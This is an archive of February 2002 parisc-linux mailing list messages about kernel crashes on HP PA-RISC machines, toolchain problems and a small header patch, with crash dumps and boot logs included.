Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14027

On Tue, Feb 12, 2002 at 11:39:40AM -0500, Roylance, Stephen D. wrote:
> OK, looks like I have two PA8000's.  I apt-get upgraded to unstable and
> d/l'ed the latest kernel tar.gz.  
> I'm getting an error trying to compile a 64 bit SMP kernel:
> make[1]: hppa64-linux-gcc: Command not found

Yeah, I don't think we have 64-bit compilers packaged properly yet.
you can get some 64-bit debs from:
http://ftp.parisc-linux.org/unofficial-debs/

though i still recommend running a 32-bit kernel unless you really need
a 64-bit kernel (eg have >4GB of ram or have firmware which only supports
64-bit mode.)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lp0 kablooie (new kernel)
Date: Tue, 12 Feb 2002 10:55:41 -0600 (CST)
Lines: 64
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0202121054260.27781-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621060 2928 80.91.229.3 (22 Nov 2014 01:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:55:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id C048E4838
	for <parisc-linux@parisc-linux.org>; Tue, 12 Feb 2002 09:55:52 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id KAA27790
	for <parisc-linux@parisc-linux.org>; Tue, 12 Feb 2002 10:55:41 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14028

On Sat, 9 Feb 2002, Grant Grundler wrote:

> Greg Ingram wrote:
> > 
> > Writing data from my C100 to /dev/lp0 makes the kernel go kablooie.  It's
> > the kernel from the recent (0.9.3?) iso.  Known problem?  Any more info I
> > could supply that would help?  I've appended everything on the console
> > from the crash, through the power cycle, to mounting disks again.  
> 
> Can you grab a newer kernel from ftp://ftp.parisc-linux.org/kernels/32/
> and try that?
> 
> 0.9.3 is just not worth chasing at this point.

Yikes!

apollos:~# uname -a
Linux apollos 2.4.17-pa23 #1 Sun Feb 10 09:24:11 MST 2002 parisc unknown
apollos:~# echo >/dev/lp0
lp0: compatibility mode
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x27eb0000 to 0x27eb4740:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x27ef8000 to 0x27eff180:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x27ef8000 to 0x27eff5c0:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

[ about 50 more screens full of similar, until: ]

Dumping Stack from 0x27f28000 to 0x27f28000:

Kernel Fault: Code=15 regs=17f28000 (Addr=27f20004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000111100001110 Not tainted
r00-03  00000000 102f4810 10102494 27f20000
r04-07  102ae800 27f20000 27f27bc0 00000000
r08-11  00000000 10309810 103099e4 00000000
r12-15  103099e0 000c8408 1003a260 148f6000
r16-19  17f27bc0 000b9f04 00017800 00000000
r20-23  14e1c000 00011560 00000000 102f5810
r24-27  00000001 00000001 102f5ae0 102e2010
r28-31  00000030 0000d560 17f28000 101196c0
sr0-3   00000000 00000335 00000000 00000335
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10101e60 10101e64
 IIR: 0c681097    ISR: 00000000  IOR: 27f20004
 CPU:        0   CR30: 17eb4000 CR31: 10390000
 ORIG_R28: 868023a8







From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] $$divU undefined reference
Date: Tue, 12 Feb 2002 18:05:13 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C280BBA4748@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621060 2934 80.91.229.3 (22 Nov 2014 01:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 10:05:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cs1-hq.oecd.org (cs1-hq.oecd.org [193.51.65.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10A88483F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 10:05:14 -0700 (MST)
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (Postfix) with ESMTP id C9D5C4B081
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 18:05:09 +0100 (CET)
Original-Received: from eosgty1.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5907edc7180a66056e083@netsweep1.oecd.org> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 12 Feb 2002 18:05:12 +0100
Original-Received: by eosgty1.oecd.org with Internet Mail Service (5.5.2653.19)
	id <ZHKGCXG8>; Tue, 12 Feb 2002 18:05:14 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14029

> Don't use `ld' to link shared objects.  Link using gcc (if it's c code) or
> g++ (if c++ code).  the compiler driver knows what extra libs to link in.

Thanks for your help.

By the way python arithmic tests do not pass but id does not seems to pose
any problems yet.

Arnaud Atoch
OECD / OCDE
Paris
France



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$divU undefined reference
Date: Tue, 12 Feb 2002 12:11:29 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200202121711.g1CHBT7m025011@hiauly1.hia.nrc.ca>
References: <C12531D038D1D011B1DB0000F8036C280BBA4748@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621060 2941 80.91.229.3 (22 Nov 2014 01:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arnaud.ATOCH@oecd.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 10:11:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 376824837
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 10:11:39 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1CHBUFN025012;
	Tue, 12 Feb 2002 12:11:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1CHBT7m025011;
	Tue, 12 Feb 2002 12:11:29 -0500 (EST)
In-Reply-To: <C12531D038D1D011B1DB0000F8036C280BBA4748@eosm5.oecd.org> from "Arnaud.ATOCH@oecd.org" at Feb 12, 2002 06:05:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14030

> By the way python arithmic tests do not pass but id does not seems to pose
> any problems yet.

There are known issues with the tools when passing floats in indirect and
varargs calls.  This can bit in a simple printf call.  This might be why
the python arithmetic tests do not pass.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel-2.4.17-pa22 boot problem B132L+ with serial console
Date: Tue, 12 Feb 2002 19:34:36 +0100
Lines: 201
Approved: news@gmane.org
Message-ID: <2AA372F4-1FE7-11D6-9E5F-0030656F07A2@esiee.fr>
References: <20020210063714.D0367482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621061 2973 80.91.229.3 (22 Nov 2014 01:51:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:01 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 11:34:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA6FA4834
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 11:34:37 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP
	id 3441849BF9; Tue, 12 Feb 2002 19:34:34 +0100 (CET)
In-Reply-To: <20020210063714.D0367482A@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14031

Le dimanche 10 f=E9vrier 2002, =E0 07:37 , Grant Grundler a =E9crit :

>
> IIRC, I've tried TULIP_MMIO and I don't think it worked. I tried this
> out a few monthes back and left it disabled in my .config files.
> I'm very certain CONFIG_TULIP_MWI didn't work. Slightly less
> certain about TULIP_MMIO not working.
>
Well we removed the option from the config, but the symptoms remained:
No output with x86 xc,
and the following output with MacOSX xgcc 3.0.2 (from start sequence to=20=

crash).

BTW, it looks a bit like the 'lp0 kablooie' problem...


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin



Firmware Version  6.1

Duplex Console IO Dependent Code (IODC) revision 1

Memory Test/Initialization Completed

=
--------------------------------------------------------------------------=
----
    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights =
reserved
=
--------------------------------------------------------------------------=
----

   Processor   Speed            State           Coprocessor State  Cache=20=

Size
   ---------  --------   ---------------------  ----------------- =20
----------
       0      132 MHz    Active                 Functional          64 =
KB


   Available memory (bytes)    :  134217728
   Good memory required (bytes):  134217728

   Primary boot path:    FWSCSI.6.0
   Alternate boot path:  SESCSI.6.0
   Console path:         SERIAL_1.9600.8.none
   Keyboard path:        PS2

Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 0.96 root@smallone Sun Nov 11 23:23:30 UTC 2001

Partition Start(MB) End(MB) Id Type
1               1     128   82 swap
2             129     144   f0 Palo
3             145    4094   83 ext2

PALO(F0) partition contains:
     0/vmlinux32 3122078 bytes @ 0x8118000

Information: No console specified on kernel command line. This is =
normal.
PALO will choose the console currently  used by firmware (serial).

Command line for kernel: 'root=3D/dev/sda3 HOME=3D/ console=3DttyS0 =
TERM=3Dvt102'
Selected kernel: /boot/vmlinux from partition 3
Opening /boot/vmlinux
Opening /boot/vmlinux-2.4.17-pa22-b132
ELF32 executable
Entry 001000f0 first 00100000 n 6
Segment 0 load 00100000 size 1150204 mediaptr 0x1000
Segment 1 load 0021a000 size 217016 mediaptr 0x11a000
Segment 2 load 00250000 size 302868 mediaptr 0x14f000
Segment 3 load 0029c000 size 8192 mediaptr 0x199000
Segment 4 load 002a0000 size 32768 mediaptr 0x19b000
Segment 5 load 002c2ddc size 61040 mediaptr 0x1a3ddc
Branching to kernel entry point 0x001000f0.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org



Linux version 2.4.17-pa22 (varenet@npyu.esiee.fr) (gcc version 3.0.2=20
20010829 (p
rerelease)) #4 Sun Feb 10 19:06:21 CET 2002
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005030 00000481 00000000 02020202 781ccde7 100000f0 00000004=20
000000ba 00
0000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
model 9000/778/B132L+
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LED display at f0190001 registered
Kernel command line: root=3D/dev/sda3 HOME=3D/ console=3DttyS0 =
TERM=3Dvt102
Console: colour dummy device 160x64
Calibrating delay loop... 87.85 BogoMIPS
Memory: 127064k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Merlin+ 132 Dino PS/2 Port (10) at 0xfff81000 [1], versions 0x22,=20
0x0, 0x96
2. Phantom PseudoBC GSC+ Port (7) at 0xffc00000 [8], versions 0x504,=20
0x0, 0x0
3. Dino PCI Bridge (13) at 0xfff80000 [8/0], versions 0x680, 0x3, 0xa, =20=

addition
al addresses: 0xf0800000
4. Merlin+ 132 Dino RS-232 (10) at 0xfff83000 [8/0/63], versions 0x22,=20=

0x0, 0x8c

5. Merlin+ 132 Core BA (11) at 0xffd00000 [8/16], versions 0x3e, 0x0,=20
0x81,  add
itional addresses: 0xffd0c000 0xffc00000
6. Merlin+ 132 Core Centronics (10) at 0xffd02000 [8/16/0], versions=20
0x3e, 0x0,
0x74,  additional addresses: 0xffd01000 0xffd03000
7. Merlin+ 132 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3e,=20
0x4, 0x7b
8. Merlin+ 132 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3e,=20=

0x0, 0x8c

9. Merlin+ 132 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3e,=20
0x0, 0x82
10. Merlin+ 132 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions=20
0x3e, 0x0,
0x84
11. Merlin+ 132 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions=20
0x3e, 0x0,
0x84
12. Gecko GSC Core Graphics (10) at 0xf8000000 [8/24], versions 0x16,=20
0x0, 0x85,
   additional addresses: 0xf0011000
13. Merlin L2+ 132 (9000/778/B132L) (0) at 0xfffbe000 [62], versions=20
0x503, 0x0,
  0x4
14. Memory (1) at 0xfffbf000 [63], versions 0x61, 0x0, 0x9
CPU(s): 1 x PA7300LC (PCX-L2) at 132.000000 MHz
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Enabled soft power switch (polling mode, io=3D0xf0140000).
Starting kswapd
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ=20
SERIAL_PCI en
abled
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x204c8000 to 0x204cc740:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x20218000 to 0x2021d4c0:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x20218000 to 0x2021d900:




From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] include/asm-parisc/pgalloc.h
Date: Tue, 12 Feb 2002 15:28:01 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20020212202801.GX8669@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621061 2984 80.91.229.3 (22 Nov 2014 01:51:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 13:28:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC8864841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 13:28:08 -0700 (MST)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id PAA06591
	for parisc-linux@lists.parisc-linux.org; Tue, 12 Feb 2002 15:28:02 -0500
Content-Disposition: inline
User-Agent: Mutt/1.5.0i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14032

do { ... } while(0); do not need the trailing semicolon and may lead to
strange side effects. the following patch fixes it.

--timball

--snip--snip--snip--
diff -ruN linux-2.5.4/include/asm-parisc/pgalloc.h linux-2.5.4-fixed/include/asm-parisc/pgalloc.h
--- linux-2.5.4/include/asm-parisc/pgalloc.h    Sun Feb 10 20:50:16 2002
+++ linux-2.5.4-fixed/include/asm-parisc/pgalloc.h  Mon Feb 11 18:35:43 2002
@@ -120,7 +120,7 @@
 #define flush_tlb() do { \
         flush_data_tlb(); \
    flush_instruction_tlb(); \
-} while(0);
+} while(0)
 
 #define flush_tlb_all()    flush_tlb() /* XXX p[id]tlb */



-- 
	GPG key available on pgpkeys.mit.edu
pub  1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball <timball@tux.org>
Key fingerprint = B579 29B0 F6C8 C7AA 3840  E053 FE02 BB97 511F BD54



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lp0 kablooie (new kernel)
Date: Tue, 12 Feb 2002 22:31:04 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20020212223104.A14146@solo.franken.de>
References: <Pine.LNX.4.21.0202121054260.27781-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621061 2986 80.91.229.3 (22 Nov 2014 01:51:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 14:32:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (p50845BA8.dip.t-dialin.net [80.132.91.168])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47C7D4844
	for <parisc-linux@parisc-linux.org>; Tue, 12 Feb 2002 14:32:02 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g1CLV4314167;
	Tue, 12 Feb 2002 22:31:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.21.0202121054260.27781-100000@maestro.symsys.com>; from ingram@symsys.com on Tue, Feb 12, 2002 at 10:55:41AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14033

On Tue, Feb 12, 2002 at 10:55:41AM -0600, Greg Ingram wrote:
> On Sat, 9 Feb 2002, Grant Grundler wrote:
> > Greg Ingram wrote:
> > > 
> > > Writing data from my C100 to /dev/lp0 makes the kernel go kablooie.  It's
> > > the kernel from the recent (0.9.3?) iso.  Known problem?  Any more info I
> > > could supply that would help?  I've appended everything on the console
> > > from the crash, through the power cycle, to mounting disks again.  
> > 
> > Can you grab a newer kernel from ftp://ftp.parisc-linux.org/kernels/32/
> > and try that?
> > 
> > 0.9.3 is just not worth chasing at this point.
> 
> Yikes!
> 
> apollos:~# uname -a
> Linux apollos 2.4.17-pa23 #1 Sun Feb 10 09:24:11 MST 2002 parisc unknown
> apollos:~# echo >/dev/lp0
> lp0: compatibility mode

I've reproduced it on my B132. You could avoid the crash by disabling
CONFIG_PARPORT_PC. No idea how good parport works, but my B132 doesn't crash
anymore.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lp0 kablooie (new kernel)
Date: Tue, 12 Feb 2002 15:35:33 -0600 (CST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0202121534350.30091-100000@maestro.symsys.com>
References: <20020212223104.A14146@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621062 2997 80.91.229.3 (22 Nov 2014 01:51:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 14:35:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25F924848
	for <parisc-linux@parisc-linux.org>; Tue, 12 Feb 2002 14:35:47 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id PAA30113;
